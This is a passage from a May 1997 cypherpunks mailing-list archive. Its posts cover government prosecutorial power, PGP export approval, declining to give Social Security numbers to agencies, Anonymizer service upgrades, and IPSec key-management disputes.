the woman was being *targeted* for prosecution then you are totally

out of touch with the reality of the current state of the justice

system in America.



There's something wrong when I'm a felon under an increasing number of

laws.



  No matter how much anyone attempts to minimize or justify Tim C. May's

statement, it is undeniable that the government currently has virtually 

unlimited power to accuse, convict and imprison its citizens.

  The IRS is the prime example of this fact. It has long been a known

fact, admitted even by IRS officials, that it is impossible for any

citizen to completely comply with the country's tax laws over a period

of years. What is even more disturbing is that interpretation of the

tax laws lies largely in the hands of the IRS, not in the justice

system.

  Add to this the fact that despite having acted in accordance with the 

legal judgement of an army of tax attorneys, the guilt of any "crime"

falls on the citizen and we are all potential felons. Not only this, but

with the plethora of legislation covering every aspect of our activity

in our private lives and in our interactions with society, most of us

are likely guilty of a multitude of potential felonies.



  Of course, only *bad* people have reason to be fearful, right? Only

those who cause *trouble* need fear being *targeted* for prosecution,

right? This is of no concern to the average citizen, such as yourself,

right?

  Right. As long as you watch what you do and say so that you give the

government no reason to label you as a troublemaker, then you have no

reason to fear. As long as you make certain that you have nothing in

your life that can even give the "appearance" of connecting you to the

*bad* people, you will be safe from government persecution.

  The price to pay for guaranteeing your freedom is small. Quit hunting

and sell your guns. Get rid of white, powdery substances such as roach

poison, sugar, flour. Never fail to signal for a turn. Always wear

your seat belt and drive 55 mp/h. Never wear jeans or pay cash for an

airline ticket. Never read "The Turner Diaries" or "Assassination

Politics."

  Which reminds me...

  Unsubscribe from the cypherpunks list, physically destroy your 

computer and never chew gum in a courtroom. (Twenty-four hours in

jail for contempt of court in Phoenix, Arizona.)



  Now that you remain at home and have no contact with the outside

world except to meet all of your legislatively mandated requirements

as a citizen the only thing you need to fear is what the government

*already* has that they can use against you if you become a "target"

of prosecution.



  Cynical? Moi?

  1984 came and went with society by and large dismissing the book, 

"1984," as having been realized in actuality. I was mystified as to

how anyone, let alone nearly everyone, could fail to recognize that

the seeds had already been planted to bring to fruitation almost every

concept of Big Brother that was focused upon in the work.

  I believe that any rational person can see, in retrospect, that Big

Brother was already a fact of life by then. However, it was of no 

concern to most of us because not only did it did not negatively impact

us personally, but also because the arising fascist/police state/society

seemed to have little potential to do perswrong when I'm a felon under an increasing number of

laws.

  When cops are acquitted of beating a citizen, then if they are still

"targets" the government can charge them with violating the citizen's

civil rights. When O.J. Simpson is acquitted and is still a target, then

a jury of middle-Americans can break him under another set of laws.

  When the government fails to convict Declan for terrorism because of

something he has written about Jim Bell's prosecution, then they can

charge him with tax evasion for the deductions he has taken for

business expenses when writing is only a "hobby" he has used to

commit tax fraud. {The justice system will look to the IRS for the

proper interpretation of Section 20098.6, Subsection AF488GC, which

states "Writing is Declan's employment, not just a hobby." Their 

interpretation will result in a conviction.}



  The government has stacked all the dice in favour of themself and

against the citizen. If they can't successfully persecute/prosecute

the citizen under "this" law, they will try again under "that" law.

If they still fail to get a conviction, they can prosecute under

yet another law and drag the case out to the point it financially

breaks the citizen.

  If the citizen gets a large measure of financial and legal support,

as in the case of Phil Zimmerman, they may survive. If not, they are

"toast" in a very short period of time.



There's something wrong when I'm a felon under an increasing number of

laws.

  In 1984, "1984" had become a reality for "them."

  Now it is a reality for "us."



TruthMonger






From whgiii at amaranth.com  Thu May 29 09:53:40 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Fri, 30 May 1997 00:53:40 +0800
Subject: motherboards with multiple CPUs
In-Reply-To: <199705290318.XAA27475@dhp.com>
Message-ID: <199705291633.LAA18694@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In <199705290318.XAA27475 at dhp.com>, on 05/28/97 
   at 11:18 PM, lucifer at dhp.com (lucifer Anonymous Remailer) said:

>I am looking for a place to purchase a motherboard with several cpu slots
>and a lot of memory. does any one know where one can find a good deal?


I would check out AMI's site at http://www.ami.com

I have always had good luck with their MoBo's and they are tested on all
major OS's before they go into production.

Last time I talked to Intell they refused to sell me multi-processor
motherboards. I was informed that to purchase a multi-processor
motherboard I would have to buy an entire server from them!! What I told
the sales drone on the other end is left as an exercise to the reader.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------
 
Tag-O-Matic: Dos: Venerable.  Windows: Vulnerable.  OS/2: Viable.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM42w+o9Co1n+aLhhAQG6SwQAuw6C5E/VEkeCLoHWQcd4/Oj4wvLaR+Xx
lDQcMRwCdaIlPJBCni3MJilanjFN81g51c74bocdkElLGXzdlyKVDszQMdjyTnjj
tX/QxTAluj/HV2lbvloWq2KMPVTMWxA3/XiQdsiEyaR8bv1+upe9LNJqtg22yYCM
rlzPHwDVV6s=
=o7Gn
-----END PGP SIGNATURE-----






From real at freenet.edmonton.ab.ca  Thu May 29 10:50:53 1997
From: real at freenet.edmonton.ab.ca (Graham-John Bullers)
Date: Fri, 30 May 1997 01:50:53 +0800
Subject: [CRYPTO] Zero-knowledge commit
In-Reply-To: <199705291123.NAA10881@basement.replay.com>
Message-ID: 


On Thu, 29 May 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Timmy `C' May proves that the Midwestern gene pool needs some chlorine in it.
> 
>             <<<<
>            o(0-0)o
>         -ooO-(_) Ooo-- Timmy `C' May
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real at freenet.edmonton.ab.ca : ab756 at freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From shabbir at democracy.net  Thu May 29 11:59:33 1997
From: shabbir at democracy.net (Shabbir Safdar)
Date: Fri, 30 May 1997 02:59:33 +0800
Subject: EVENT: Online town hall meeting with Rep. Bob Goodlatte (June 3, 8:30pm
Message-ID: <199705291836.OAA18069@panix3.panix.com>


=========================================================================
     _                                                             _
  __| | ___ _ __ ___   ___   ___ _ __ __ _  ___ _   _   _ __   ___| |_
 / _` |/ _ \ '_ ` _ \ / _ \ / __| '__/ _` |/ __| | | | | '_ \ / _ \ __|
| (_| |  __/ | | | | | (_) | (__| | | (_| | (__| |_| |_| | | |  __/ |_
 \__,_|\___|_| |_| |_|\___/ \___|_|  \__,_|\___|\__, (_)_| |_|\___|\__|
                                                |___/
                         Government Without Walls
_________________________________________________________________________
Update No.8              http://www.democracy.net/            May 29 1997
_________________________________________________________________________
Table of Contents

 - Join Encryption Warrior Rep. Bob Goodlatte (R-VA)
 - Background on Rep. Bob Goodlatte (R-VA)
 - How to participate in the Online Town Hall Meeting
 - Upcoming Events
 - About democracy.net

___________________________________________________________________________
JOIN REP. BOB GOODLATTE (R-VA) LIVE ONLINE TUESDAY JUNE 3, 8:30 PM ET

Who is Congressman Bob Goodlatte?  Depending on your point of view, the
Republican Congressman from Virginia is either a steadfast champion of
online privacy, or a supporter of censorship in cyberspace.

This year, Rep. Goodlatte has been leading a successful charge to
overturn the Clinton administration's encryption control policies.
Goodlatte is the principal author of H.R. 695, "The Security and Freedom
through Encryption (SAFE) Act." -- a bill designed to promote privacy
and security on the Internet by encouraging the widespread availability
of encryption technology.  Goodlatte's efforts to protect privacy and
prohibit the government from imposing "key-escrow" and
"key-recovery" domestically have won him praise from Internet users.

The SAFE bill was recently approved by the House Judiciary Committee
(the first time an encryption reform bill has ever cleared a major
Congressional committee), and is now headed to the House International
Relations Committee where a tougher fight is expected.

But in 1995, Rep. Goodlatte was a leading supporter of the
Communications Decency Act (CDA) -- a law which for the first time
imposed broad content regulations on the Internet.  The CDA is currently
being reviewed by the Supreme Court and a decision is expected before
the end of June.

Join Congressman Goodlatte for a live, Virtual Town Hall meeting and
find out what makes him tick.

You can submit questions in advance by visiting
http://www.democracy.net. The discussion will be moderated by Todd
Lappin, Section Editor at Wired Magazine.

____________________________________________________________________________
BACKGROUND ON REP. BOB GOODLATTE (R-VA)

[This information is taken verbatim from Rep. Goodlatte's World Wide Web
 page at http://www.house.gov/goodlatte/]

Bob Goodlatte, age 44, was elected to serve as the Sixth District's
Congressman in November of 1992. He was re-elected to his second term
without opposition in 1994.

He is a graduate of Washington and Lee University School of Law, and
his undergraduate degree in Government was earned at Bates College in
Lewiston, Maine.

Before being elected to Congress, Bob served as former Congressman
Caldwell Butler's District Office Manager from 1977 to 1979, where he
was responsible for helping folks across the Sixth District. In 1979,
he founded his own private law practice in Roanoke. He is a former
partner in the law firm of Bird, Kinder and Huffman, working there from
1981 until taking office.

Bob has long been active in his community, serving as President of the
Civitan Club of Roanoke, and he's been active with the Parent Teachers
Association at his children's public school and with the United Way of
the Roanoke Valley.

Bob serves on the Judiciary Committee and the Agriculture Committee.
His subcommittee assignments on Judiciary are: the Constitution
Subcommittee and the Courts & Intellectual Property Subcommittee. His
subcommittee assignments on Agriculture are: the Livestock Subcommittee
and the Department Operations and Nutrition Program Subcommittee where
he serves as the Chairman.

After Republicans won the majority, Whip Tom DeLay (R-Texas) selected
Bob to serve as an Assistant Whip.

Bob and Maryellen, his wife of 22 years, live in Roanoke with their two
children, Jenny and Bobby.

____________________________________________________________________________
INSTRUCTIONS ON HOW TO PARTICIPATE

     * Interactive Town Hall Meeting with Rep. Bob Goodlatte (R-VA) *

 DATE:      Tuesday June 3, 1997
 TIME:      8:30 pm Eastern (5:30 pm Pacific)
 LOCATION:  http://www.democracy.net

In advance of the town hall meeting, please visit http://www.democracy.net
and fill out the form to ask Rep. Goodlatte a question.  We will collect
the questions and forward them to the moderator on the day of the event, and
will make every effort to ensure that questions from constituents are asked
first.

1. Attend and ask Rep. Goodlatte a question!

   Please mark this date in your calendar: Tuesday June 3, 8:30PM Eastern
   at http://democracy.net/

2. Get your friends and co-workers to join the discussion

   Members of Congress love to hear from their constituents. If you have
   friends that live in the district, please forward this invitation and
   encourage them to attend.

_____________________________________________________________________________
UPCOMING EVENTS

Visit http://www.democracy.net for upcoming event information.

_______________________________________________________________________________
ABOUT DEMOCRACY.NET

The democracy.net is a joint project of the Center for Democracy and
Technology (CDT) and the Voters Telecommunications Watch (VTW) to explore
ways of enhancing citizen participation in the democratic process via
the Internet.

To this end, democracy.net hosts live, interactive cybercasts of
Congressional Hearings and online town hall meetings with key policy makers.

democracy.net is made possible through the generous support of WebActive,
Public Access Networks, the Democracy Network, and DIGEX Internet.  More
information about the project and its sponsors can be found at
http://www.democracy.net/about/

To receive democracy.net announcements automatically, please visit our
signup form at http://www.democracy.net/ or send mail to
majordomo at democracy.net with "subscribe events" in the body of the message.

_____________________________________________________________________________
End update no.8                                                    05/29/1997
=============================================================================






From rah at shipwright.com  Thu May 29 12:17:40 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 30 May 1997 03:17:40 +0800
Subject: e$: Altered States. Transfer payment addiction, Le Infame, andPhil Dick's definition of reality.
Message-ID: 



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga 
Mime-Version: 1.0
Precedence: Bulk
Date:  Thu, 29 May 1997 11:57:32 -0400
From: Robert Hettinga 
To: Multiple recipients of 
Subject:  e$: Altered States. Transfer payment addiction, Le Infame, and
Phil Dick's definition of reality.

At 1:23 pm -0400 on 5/28/97, Bill Frantz wrote in cypherpunks:

> I object to the state, providing addictive substances/experiences when
> private enterprise could do the job.  If they are against addiction, then
> they should set a good example.

For myself, I deplore the state's all-too-successful efforts to "provide"
that ultimate addictive substance, the transfer payment.

>From the oxymoron of "Social" "Security", to direct subsidies on everything
from electricity to sugar to helium, from deliberately mispriced federal
assets like lumber, water and mining rights, to indirect subsidies like the
tax-deductibility of mortgage interest and health "insurance", we use our
government to bleed money, initiative, and, ultimately, freedom from the
people who produce wealth and material well-being and give almost all of it
to people who do nothing but consume and obstruct. We've all become a
nation of innumerate dole-junkies, unaware of the economic consequences of
our actions because the state has hidden them behind a veil of
pseudoeconomics and political cynicism.

The heyday of Roman dole was nothing compared to the "compassion" we
increasingly have for ourselves.

So, like a lot of people, I hope and work for the day when that giant
mosquito on the Petomaine :-) river -- and its larvae in places like
Jefferson City -- starts sucking air instead of the economic and moral
lifeblood of people who actually work for a living. Then, maybe, this
nation of lotus eaters will wake up to the fact that we've no one to rely
upon but ourselves.

Science fiction author Phillip K. Dick said, "Reality is that which doesn't
go away when you change your mind." I would ammend it to say that reality
is that which is still there when transfer payments stop.


Voltaire used to end all his correspondence with "Death to Le Infame". "Le
Infame" translates as "the infamous thing". He was talking about the church
then, but nowadays it seems that *all* of us take communion at Our Lady of
the Federal Transfer Payment.

The end of opressive religeous control of society was the advent of
science, the enlightment, and the triumph of reason that resulted from
them. The founding of this country was part of that revolution.
Unfortunately, unreason shed its priestly vestments and immediately
counterattacked in the form of Rousseau, Robespierre and the French
revolution. Since then, through the mechanations of Rousseau's intellectual
decendants like Karl Marx, and lately, the people that Harold Bloom calls
the "School of Resentment", nation states have justified more and more
oppression in the interest of unobtainable mirages like "equality" and
"security", and in perverting words like "fairness" and "justice" to mean
envy and arbitrary confiscation.

The very touchstone of reason in political thought, this country's
constitution, is now standing on the bottom of a vast lake of irrational
statist excrement, with its nose barely above the waterline.

Sometimes, I think that, when we can breathe no longer, and we try to
return to the shore of reason, we'll forget the swimming lessons the
founding fathers and the philosophes of the enlightenment taught us. That
we'll drown in our own sloth, envy, resentment, and, more important, lack
of faith in ourselves.

However, most of the time, I'm much more optimistic. I believe that the
increasing ubiquity of all information, and, more important, the means for
each person to competitively process that information himself to get
independently replicable results, will create a world where people and
their computing technology become the equivalent of scientists, testing and
verifying facts about the world themselves, rather than having reality
served to them on a lotus leaf.


The operative word in that Proustian sentence was "competitively". That
means markets for everything which can be put into ones and zeroes and sent
on a network, which in turn means instant settlement and clearing of those
transactions, and, most important, a myriad of autonomous economic entities
operating in efficient, competitive, auction markets for that information.

Fortunately, we have the technology, in the form of things like the blind
signature algorithm, public key cryptography, Moore's law and geodesic
networks, to make this happen. I believe that we actually have no economic
choice, and so it will happen. It's as if we have found the dole-receptors
in our economic neurochemistry, and soon our transfer payment addiction
will be a thing of the past.

"Reality is that which doesn't go away when you change your mind."

Kicking an addiction is by definition a mind-altering experience. :-).


Polemically,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"


Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info at hyperion.co.uk

Like e$? Help pay for it! 
For e$/e$pam sponsorship, mail Bob: 

Thanks to the e$ e$lves:
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Interturge: Rodney Thayer 




--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From nobody at secret.squirrel.owl.de  Thu May 29 12:25:59 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Fri, 30 May 1997 03:25:59 +0800
Subject: US grants export license for PGP
Message-ID: <19970529174833.14957.qmail@squirrel.owl.de>


> Joey Grasty writes:
> > At 08:00 PM 5/28/97 -0700, Lucky Green wrote:
>
> > >PGP crypto approved for export
> >
> > Alright, what's the catch?  What kind of GAK does PGP have to
> > stick in to get this approval?  Encyphering minds want to know...
>
> The catch is that the license only extends to business use by
> subsidiaries of certain large US corporations.
>
> See PGPInc's press release at: http://www.pgp.com/newsroom/prel34.cgi

Well that sure got buried by the "Truth Above All Else (tm)" press. Not
surprising however.

>
> It may be moot since some versions of PGP are available around the
> world, but this strikes me as patently unfair to all those companies
> not big enough to be on The List.
>
> On the other hand, maybe this is the beginning of the end.  It seems
> to me that it will be difficult now to deny a similar license to
> Netscape or Microsoft or...

We have so many laws in this country, doesn't one of them prevent
"discrimination" based on dollar value of corporation? ;)

How about extortion... "You must be a large company paying buttloads in
taxes and making sizeable contributions to the administration to receive
license to use PGP overseas..."

Can't we use this against them and force the license to be extended to
everyone?

>
> -- Jeff (currently employed by a Real Company :-)
>

-- Mr. E (not employed by a Sellout^H^H^H^H^H^H^HReal Company)







From nobody at REPLAY.COM  Thu May 29 13:32:32 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Fri, 30 May 1997 04:32:32 +0800
Subject: No Subject
Message-ID: <199705292001.WAA05250@basement.replay.com>


On Wed, 28 May 1997, Tim May wrote:

> At 5:02 PM -0400 5/27/97, Mark M. wrote:
> 
> >I don't know the reason, but the IRS tax code requires that all passport
> >applicants supply their SSNs to the IRS.  The penalty for failing to
> >notify is $500.  I recently encountered this situation and just left
> 
> Good for you, seriously, but you may not yet have heard the last of this.
> As with "frivolous returns" (such as writing comments on the tax forms

They can always harrass.  Supposedly the State Department reports to the
IRS anyone who does not give this info, but the IRS seems not to follow
up, an the only thing they could do under the law is impose the $500
penalty which would probably not survive a court challenge (I forget the
particular reasoning, but if they challenged and lost, no one would have
any fear not giving their SSNs out, similarly to why they don't charge
every cypherpunk under export laws - fear of grey is more useful than a
clear line that will be more liberal than they want).  When I applied for
a passport (specifically because it is a government recognized ID that
need not contain your social security number), I didn't write the IRS at
all (you have no duty to notify them), and IF contacted, I would simply
say "Who do I make the $500 check out to, and where do I send it, and who
should my lawyer contact to challenge it".  I have never been contacted. 

> The woman behind the desk didn't seem interested in my point and just said
> that without a valid SS number, no registration tags would be issued. It
> was then my choice to drive without tags (and get a ticket anytime a cop
> noticed this and decided to act on it) or seek some kind of legal
> restraining order (???, but probably $$$).

IANAL, but: There is another statute which says that any time a government
agency (it does not apply to corporations) asks for your SS# they have to
state the reason and authority they have to ask for it (something like a
state statute or order - I will look up the info and post here when I have
time).  Usually the behind-the-counter culture doesn't know about this. 
You can also give a religous objection. You can ask for the name of the
person and their exact title then ask nicely to speak with a manager
familar with the law or procedure, and that it might be illegal to ask for
that information without citing the authority (with the above law in
hand), etc.  Since they have to have alternate ID numbers unless they only
give licenses out to US citizens and not the Amish or others who have
religous objections - you can ask for one of these alternate numbers. You
can also be agreeable and say, OK, if you want to see my SSN so that you
can confirm that I am me, I will show it to you, but I don't want that
specific number on my license, and you can pick any number that is
convienient to you, or I can supply my standard "alternate-ID" number.

My state uses a number that is a wierd checksum of my name and birthdate
and who knows what, so it doesn't apply to my drivers license.

I had my SSN used (they didn't tell me that is what it was for, and this
was before I was as aware of the privacy matters) on a professional
license, and they did things like disclose it to people who bought their
mailing list and it appeared in some mailings.  I only had to call the
state office, explain about the problems of identity fraud, and had a new
license with a new number (which I use as my alt-id number)  within a week
(and they said they would not include SSNs with their mailing list).  Some
people are reasonable.

Generally they try to find the easiest path.  When it is clear that you
won't go away quietly, and that you are going to be more hassle than it is
worth (and that you aren't trying to evade any requirement, e.g. "You
agree that I have proper ID, and qualify in every other way, and the only
reason you won't is because I won't tell you my SSN even though you can't
cite the authority you have ...") you can usually get them to either
relent or say something slanderous in public.  A silly but necessary game.

Now if I can mail in a form, I usually use the alt-id number and write it
in place of the SSN with a note right next to it saying it is not my SSN
and that if you really want it you have to write me back and explain why
they want it.  (If they do, I send them a NDA with something to the effect
that if I find it has leaked anywhere they have to cover all costs
associated with correcting any record, etc.).  Given that they are usually
desparate to sign me up for whatever it is, and the mail is a hassle for
them, they just enter the alt-id number.  I keep a copy of the original
form with the Not-my-SSN statement in case someone wants to accuse me of
any kind of fraud.








From frissell at panix.com  Thu May 29 14:10:59 1997
From: frissell at panix.com (Duncan Frissell)
Date: Fri, 30 May 1997 05:10:59 +0800
Subject: Surveillance State Delayed
Message-ID: <3.0.2.32.19970529165544.0378ce64@panix.com>


-----BEGIN PGP SIGNED MESSAGE-----

Fascinating article in last Saturday's New York Times about INS plans to 
revoke the U.S. citizenship of 5,000 people who got that citizenship sans 
criminal background checks so they could vote for Clinton in '96.

Now, the INS revokes a big 25 citizenships a year so they really have a job 
ahead of them.  Demonstrates the enforcement challenges of bureaucracies 
living in a mass society.  They think they can get away with administrative 
revocations but even those can be appealed to federal court.  5,000 appeals 
would be quite a burden.  If they wait too long and two years pass from time 
of granting, the Service will lose the administrative option and will have to 
do full court proceedings to revoke.

Even if they revoke, the "aliens" will still have their old proofs of 
citizenship (passports, etc) as well as their former status as permanent 
residents so revocation may be meaningless in any case.

That's not the cutest bit, though.

In addition to the 5,000 new Clinton voters with provable criminal records, 
they had to go through 180,000 records of people with various sorts of 
documentation problems to see if any of them were criminals.  But the Feds 
couldn't do it themselves.  They lacked the capability.  They hired one of
the 
big accounting firms (Peat-Marwick?) to CHECK THE NAMES against the NCIC.  
They got some 9,000 positive matches but naturally, they can't tell how many 
of those 9,000 matches are false positives.  Lots of work ahead.

The gloom and doom types like to claim that it is trivial for the almighty 
Feds to find out everything about every one, look inside the souls of all of 
us, separate the good from the evil and unerringly punish the evil.  
Omniscience, omnipresence, omnipotence. Oddly enough, this claim is often
made 
by people who, otherwise, don't believe in God.

But this article on citizenship revocation gives lie to this claim of state 
power.  Citizenship applicants have submitted vast quantities of information 
about themselves to the Feds.  They have undergone years of a staged and 
complex process to move from nonresident alien to resident alien to citizen.  
At every point, they NARCed themselves out in detail directly to the federal 
government.  And yet, that same government can't even tell if these people
are 
"criminals."

If they can't efficiently surveil and regulate this group, what chance do
they 
have to regulate and surveil the other 260 million of us?

DCF
 


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM43tToVO4r4sgSPhAQHhcAP+O3Kn/rTtonspM+fWF7S/MeoV/zENTgll
Di4GCB1oZTlvU9je6ucRxpXvezsjgibmurApR22j3J0rhgHAVOCT8+EjNLAi3yGh
mwXXuCH/Z55nAXVit8mZvXSrJ8OPFWMn57Nma33uaD48QJ7AFqVxISi7+pSI91Mx
LR0oZ1nJE/8=
=oo4o
-----END PGP SIGNATURE-----






From phm at sprynet.com  Thu May 29 14:30:47 1997
From: phm at sprynet.com (Paul H. Merrill)
Date: Fri, 30 May 1997 05:30:47 +0800
Subject: Surveillance State Delayed
In-Reply-To: <3.0.2.32.19970529165544.0378ce64@panix.com>
Message-ID: <338E1CFA.32D8@sprynet.com>


Duncan Frissell wrote:
> 
<>
> But this article on citizenship revocation gives lie to this claim of state
> power.  Citizenship applicants have submitted vast quantities of information
> about themselves to the Feds.  They have undergone years of a staged and
> complex process to move from nonresident alien to resident alien to citizen.
> At every point, they NARCed themselves out in detail directly to the federal
> government.  And yet, that same government can't even tell if these people
> are
> "criminals."
> 
> If they can't efficiently surveil and regulate this group, what chance do
> they
> have to regulate and surveil the other 260 million of us?
> 
> DCF
The important thing to remember about police state tactics is that it is
not a case of hyper-efficient use of the police -- it is hyper-use of
those powers to harass and harrangue those that they Feel like doing it
to.  No need to worry about guilt or innocence or any of that, just pick
a target and get what you can, if it isn't enough - invent.

> 
> 
> -----BEGIN PGP SIGNATURE-----
> Version: 5.0 beta
> Charset: noconv
> 
> iQCVAwUBM43tToVO4r4sgSPhAQHhcAP+O3Kn/rTtonspM+fWF7S/MeoV/zENTgll
> Di4GCB1oZTlvU9je6ucRxpXvezsjgibmurApR22j3J0rhgHAVOCT8+EjNLAi3yGh
> mwXXuCH/Z55nAXVit8mZvXSrJ8OPFWMn57Nma33uaD48QJ7AFqVxISi7+pSI91Mx
> LR0oZ1nJE/8=
> =oo4o
> -----END PGP SIGNATURE-----

-- 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Paul H. Merrill                Merlyn Enterprises
paulmerrill at acm.org
I have no opinions (just facts)
    so it doesn't matter what my employer thinks.






From TSadoff197 at aol.com  Thu May 29 15:20:18 1997
From: TSadoff197 at aol.com (TSadoff197 at aol.com)
Date: Fri, 30 May 1997 06:20:18 +0800
Subject: Mailing list
Message-ID: <970529175227_487288649@emout03.mail.aol.com>


Please send






From lcottrell at infonex.com  Thu May 29 15:31:53 1997
From: lcottrell at infonex.com (Lance Cottrell)
Date: Fri, 30 May 1997 06:31:53 +0800
Subject: Anonymizer upgrades
Message-ID: <199705292215.PAA11815@sirius.infonex.com>


(A copy of this message has also been posted to the following newsgroups:
alt.security, alt.privacy,alt.anonymous,alt.privacy.anon-server)

I am pleased to announce two significant improvements to The Anonymizer
(www.Anonymizer.com).

First, we have fixed the HTTP_X_FORWARDED_FOR and HTTP_VIA security holes.
This was a problem for people accessing The Anonymizer though a web proxy.

Second, we have introduced accounts on the Anonymizer. The poor performance
of The Anonymizer (to put it lightly) has been due to our attempts to keep
it from completely swamping our T1. Paid accounts on The Anonymizer bypass
the slowdown mechanisms, and also provide access to anonymous news and
anonymous anonymous FTP.

Finally, while it has been true for some time, it is not widely known that
the Anonymizer is owned and operated by Infonex. We took over management of
the Anonymizer several months ago. For those not familiar with Infonex, we
have been active in the privacy business for some time. We host several
anonymous remailers, we offer anonymous shell accounts through our
subsidiary Cyberpass (www.cyberpass.net), and I personally developed the
Mixmaster anonymous remailer system.

       Lance Cottrell

-- 
Lance Cottrell        President, Infonex
lcottrell at infonex.com
http://www.infonex.com/~loki






From jya at pipeline.com  Thu May 29 16:35:49 1997
From: jya at pipeline.com (John Young)
Date: Fri, 30 May 1997 07:35:49 +0800
Subject: Crypto Disputes
Message-ID: <1.5.4.32.19970529230949.00937498@pop.pipeline.com>


For full versions of the stories below:

   http://jya.com/kinkey.txt

----------

     For two years, the IETF Security Group has labored to
     hammer out the IP Security (IPSec) protocol, a standard way
     that businesses can open up an encrypted link to a trading
     partner's network. The link is encrypted after authentication
     by means of an X.509 digital certificate at an IPSec-based
     firewall or gateway. 

     But an unresolved, bitter dispute over the technique for
     automatically swapping keys over the 'Net - referred to as
     key management - has resulted in two incompatible schemes
     in the IPSec specification.

     In this battle of the acronyms, the debate centers on the
     Simple Key Management for IP (SKIP), developed by Sun
     Microsystems, Inc., and the Internet Secure Association Key
     Management Protocol (ISAKMP), developed by the National
     Security Agency. 

----------

     Responding to Sun's announcement that it would license
     128-bit encryption algorithms from Elvis+Co., a Russian
     company, the White House announced that it would look into 
     Sun's actions. 

     "Sun's strategy is another brick from a wall that is coming
     down," said Jim Bidzos, president and CEO of RSA Data
     Security. "And it highlights that something is wrong with the 
     U.S. policy." 

     Sun has approximately a 10 percent equity stake in Elvis+,
     whose product is based on Sun's publicly available protocol,
     Simple Key Management for IP (SKIP). The 10 percent
     interest is thought to be key to keeping other companies from
     licensing and reselling the same technology. 

     The government's resolve, however, may be breaking down.
     Just last week, Sybase Inc. won approval to export database
     and server products with 56-bit DES encryption, even though
     the Emeryville, Calif., company has no model for key
     recovery. 

----------

     SKIP, which stands for Simple Key management for Internet
     Protocols, was submitted by Sun to the Internet Engineering
     Task Force as an Internet standard. Included in SKIP E+ are
     algorithms for 56-bit DES, two- and three-key triple DES,
     and 64- and 128-bit ciphers for encrypting network traffic
     and keys. 

     The security software was developed by Elvis+, a company
     of former Soviet space scientists with offices near Moscow.
     Sun bought a 10 percent interest in the company in 1993, but
     does not take an active role, said Steven Hunziker, chief
     operating officer of Russia Communications Research Inc.,
     Los Gatos, Calif. RCR represents Elvis+'s products in the
     U.S. 

     "RCR is really small - me and an accountant and two
     lawyers - and they watch the law like hawks," Hunziker said.
     "Elvis+ has kept a very careful distance from Sun, and those
     guys don't need anything from Sun to create the technology
     they're creating. The FBI and the CIA are just lazy, which is
     why they object." 

     "We've developed key recovery technology and gotten
     government approval, so we can export without having to
     resort to what they did," said Ken Mendelson, corporate
     counsel for Trusted Information Systems Inc., Glenwood,
     Md. 

----------

     VeriFone today announced that its Secure Electronic Transaction 
     (SET) -based product suite has received export approval from the 
     US Department of Commerce, marking the first announcement
     of a SET-based, end-to-end Internet commerce solution
     containing full strength encryption technology to be approved
     for international export. 

     VeriFone's vGATE, vPOS and vWALLET software employ
     the SET encryption protocol for transactions over the
     Internet, utilizing 1024 bit key size for public key encryption
     and digital signatures, and 64 bit DES for bulk encryption.
     This approval enables VeriFone to offer a higher level of
     end-to-end encryption than was previously available from
     U.S. corporations to international customers without special
     permission from the U.S. government. 

----------

     IBM last week took the first steps to help software vendors 
     comply with federal encryption export rules, with the 
     release into beta of a new security tool kit. 

----------






From azur at netcom.com  Thu May 29 17:14:08 1997
From: azur at netcom.com (Steve Schear)
Date: Fri, 30 May 1997 08:14:08 +0800
Subject: There's something wrong when I'm a felon under an increasingnumber of
In-Reply-To: <199705291623.KAA00762@wombat.sk.sympatico.ca>
Message-ID: 

A non-text attachment was scrubbed...
Name: not available
Type: text/enriched
Size: 951 bytes
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URL: 

From vznuri at netcom.com  Thu May 29 17:38:00 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Fri, 30 May 1997 08:38:00 +0800
Subject: Surveillance State Delayed
In-Reply-To: <3.0.2.32.19970529165544.0378ce64@panix.com>
